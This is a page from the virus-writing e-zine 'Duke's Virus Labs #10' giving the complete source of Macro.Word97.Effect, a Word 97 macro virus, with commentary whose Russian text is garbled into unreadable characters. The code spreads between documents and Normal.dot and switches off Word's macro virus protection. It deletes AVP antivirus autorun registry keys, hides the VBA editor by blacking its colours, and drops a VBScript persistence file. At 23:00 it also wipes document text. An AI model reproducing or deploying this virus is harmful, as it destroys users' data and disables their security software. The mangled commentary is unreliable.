- [Duke's Virus Labs #10] - [Page 25] -

Macro.Word97.Effect
(c) by VOVAN


  ࠦ 㬥 Word97 ⮨  8 ᮢ   6 ᮢ
⢥  ⥫.
-------------------------------------------------
뫠   Effect

Sub ViewVBcode()
effect
End Sub
-------------------------------------------------
뫠   Effect

Sub ToolsMacro()
effect
End Sub
-------------------------------------------------
   室  Word 砥 ஥ ,  ⮣ ⮡
AVP   뤠 ᮮ饭 ⨯ ":    ᮢ
몫祭"

Sub AutoExit()
Options.VirusProtection = 1
End Sub
-------------------------------------------------
  ᪥ Word 몫砥 .

Sub AutoExec()
Options.VirusProtection = 0
End Sub
-------------------------------------------------
  ᯮ  ⥫ 楤  ࠬ Word  
砥  ⠢   㭪 "  ᮢ  " 
"  ࠭ 蠡 "  ,   ଠ쭮 
뢠 ,  ᫥    ᭨   ..

Sub ToolsOptions()
On Error Resume Next
Options.VirusProtection = 1
Options.SaveNormalPrompt = 1
If Dialogs(wdDialogToolsOptions).Show Then
End If
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
End Sub
-------------------------------------------------
    ᭮ ࠦ饬 ⮬ .  ⨨
ࠦ 䠩  㡨ࠥ  ॥ 뫪  AVP, ⠪   ᫥饬
 Windows AVP  㧨  ࠦ Word  ஢ 蠡
 ਡ "쪮  ⥭" ᫨ ਡ ⠭   ᭨ 
 뫠   Effect,    쭥襬 ࠧ Word ᫥
१㧪,  ᫨ ਡ "쪮  ⥭"  ⠭ 
஢ 䠩  ࠦ񭭮  ᫨   ࠦ, ࠦ  ᫨ 
㬥 ⠨ ਡ "쪮  ⥭"   ᭨   
஢ ⥪騩 , ᫨  ࠢ 砩 ,  
⠭   ⥪ .

Private Sub Document_Open()
On Error Resume Next
Application.ScreenUpdating = 0
System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "AVPCC") =
""
System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices",
"AVPCC Service") = ""
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1"
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1"
Application.EnableCancelKey = 0
Application.ShowVisualBasicEditor = 0
ActiveDocument.ReadOnlyRecommended = 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Then GoTo sgt Else
GoTo uuu
sgt: atr = GetAttr(NormalTemplate.FullName)
If atr = 33 Then atr = 1
If atr = 1 Then GoTo nnn Else GoTo uuu
nnn: NormalTemplate.OpenAsDocument
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Close
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.replaceline 1, "Sub ViewVBcode()"
.replaceline 4, "Sub ToolsMacro()"
.replaceline 7, "Sub AutoExit()"
.replaceline 10, "Sub AutoExec()"
.replaceline 13, "Sub ToolsOptions()"
End With
Call effect
ActiveDocument.Saved = True
End
uuu:
If ActiveDocument.ReadOnly = True Then
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Reload
End If
Norma = False
Document = False
ZY = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
VI = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If UCase(ZY) = "EFFECT" Then Norma = True
If UCase(VI) = "EFFECT" Then Document = True
If Norma = True And Document = True Then GoTo 1
If Norma = False Then
Set JI = NormalTemplate.VBProject.VBComponents(1).CodeModule
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.replaceline 1, "Sub ViewVBcode()"
.replaceline 4, "Sub ToolsMacro()"
.replaceline 7, "Sub AutoExit()"
.replaceline 10, "Sub AutoExec()"
.replaceline 13, "Sub ToolsOptions()"
CI = .Lines(1, .CountOfLines)
End With
With JI
.DeleteLines 1, .CountOfLines
.InsertLines 1, CI
End With
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.replaceline 1, "Private Sub code()"
.replaceline 4, "Private Sub macro()"
.replaceline 7, "Private Sub sss()"
.replaceline 10, "Private Sub ooo()"
.replaceline 13, "Private Sub zzz()"
CI = .Lines(1, .CountOfLines)
End With
End If
If Document = False Then
Set HI = ActiveDocument.VBProject.VBComponents(1).CodeModule
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.replaceline 1, "Private Sub code()"
.replaceline 4, "Private Sub macro()"
.replaceline 7, "Private Sub sss()"
.replaceline 10, "Private Sub ooo()"
.replaceline 13, "Private Sub zzz()"
CI = .Lines(1, .CountOfLines)
End With
With HI
.DeleteLines 1, .CountOfLines
.InsertLines 1, CI
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.replaceline 1, "Sub ViewVBcode()"
.replaceline 4, "Sub ToolsMacro()"
.replaceline 7, "Sub AutoExit()"
.replaceline 10, "Sub AutoExec()"
.replaceline 13, "Sub ToolsOptions()"
End With
End If
1:
Z = Int((12 * Rnd) + 1)
If Month(Now()) = Z Then
Selection.HomeKey Unit:=wdStory
Selection.WholeStory
With Selection.Font
.Animation = wdAnimationSparkleText
End With
Selection.EndKey Unit:=wdStory
ActiveDocument.UndoClear
End If
ActiveDocument.SaveAs ActiveDocument.FullName
End Sub
-------------------------------------------------
  㤠   Word,  ⮬ ᮧ ਯ  뢠
  ࠦ Word ய뢠      ॥,  뫠
AVP  ᫥ १㧪 ᭮ ࠦ Word.

Private Sub effect()
On Error Resume Next
ZY = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If UCase(ZY) = "EFFECT" Then Norma = True
If Norma = True Then GoTo ccc Else GoTo ggg
ccc: NormalTemplate.VBProject.VBComponents.Item(1).Export
("C:\WINDOWS\SYSTEM\effect.sys")
GoTo bbb
ggg: ActiveDocument.VBProject.VBComponents.Item(1).Export
("C:\WINDOWS\SYSTEM\effect.sys")
bbb: System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "AVPCC") =
"C:\WINDOWS\SYSTEM\effect.vbs"
System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices",
"AVPCC Service") = "C:\WINDOWS\SYSTEM\effect.vbs"
Open "C:\WINDOWS\SYSTEM\effect.vbs" For Output As #1
Print #1, "On Error Resume Next"
Print #1, "Set effect = WScript.CreateObject(""Word.Application"")"
Print #1, "effect.Options.VirusProtection = False"
Print #1, "effect.Options.SaveNormalPrompt = False"
Print #1, "For x = 1 To
effect.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
Print #1,
"effect.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"
Print #1, "Next"
Print #1,
"effect.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("
& Chr(34) & "C:\WINDOWS\SYSTEM\effect.sys" & Chr(34) & ")"
Print #1,
"effect.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1,
4"
Print #1, "effect.NormalTemplate.Save"
Print #1, "effect.Application.Quit"
Print #1, "Set WSHShell = WScript.CreateObject(""WScript.Shell"")"
Print #1, "WSHShell.RegDelete
""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\AVPCC"""
Print #1, "WSHShell.RegDelete
""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\AVPCC
Service"""
Print #1, "WSHShell.RegWrite
""HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\CodeBackColors"",""1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1"""
Print #1, "WSHShell.RegWrite
""HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\CodeForeColors"",""1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1"""
Close #1
Set SS = NormalTemplate.VBProject.VBComponents(1).CodeModule
With SS
.DeleteLines 1, .CountOfLines
End With
Set ZZ = ActiveDocument.VBProject.VBComponents(1).CodeModule
With ZZ
.DeleteLines 1, .CountOfLines
End With
ActiveDocument.Saved = True
Application.Quit
End Sub
-------------------------------------------------
   ⨨ 䠩 ஢  㬥, ᫨  ⠪ ,
஥   Word  㬥  ࠭  稢 ࠡ,
 ᫨   ᮢ  ,  Word, ⮣  ஢
⥪饥 ६ ᫨ ६ ࠢ 23 ᠬ,   > = 0 ⮣  ࠥ
 ⥪  㬥   訬 㪢 Effect  ⠭
 ⥪  ᫥ ⮣ 뫠   Document_Open  ࠦ
䠩.

Private Sub Document_Close()
On Error Resume Next
Application.ScreenUpdating = 0
If ActiveDocument.Name = ActiveDocument.FullName Then
End
End If
If Hour(Now()) = 23 And Minute(Now()) >= 0 Then
Selection.HomeKey Unit:=wdStory
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.TypeText Text:="Effect"
Selection.WholeStory
Selection.Font.Bold = wdToggle
Selection.Font.Size = 162
Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
With Selection.Font
.Animation = wdAnimationSparkleText
End With
Selection.EndKey Unit:=wdStory
End If
Call Document_Open
End Sub

 䥪   ⨨ ࠦ񭭮 㬥  
  㬥 ࠭  !

